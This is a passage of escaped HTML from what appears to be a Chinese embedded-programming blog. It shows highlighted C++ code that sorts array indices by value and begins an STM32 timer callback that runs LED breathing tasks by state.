class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esortVectorByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003evec\u003c/span\u003e\u003cspan class=\"p\"\u003e[],\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[][\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ePair\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003evec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003esort\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecompareByValue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_SIZE\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"定时执行执行状态对应的任务\"\u003e定时执行(执行状态对应的任务)\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 执行Crt_Main_Task对应的任务,这个其实可以再拆一个 类 出来,但是没有更多功能要写,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 先扔这里了。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 延时开启下一组led的呼吸任务\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelay_20\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan 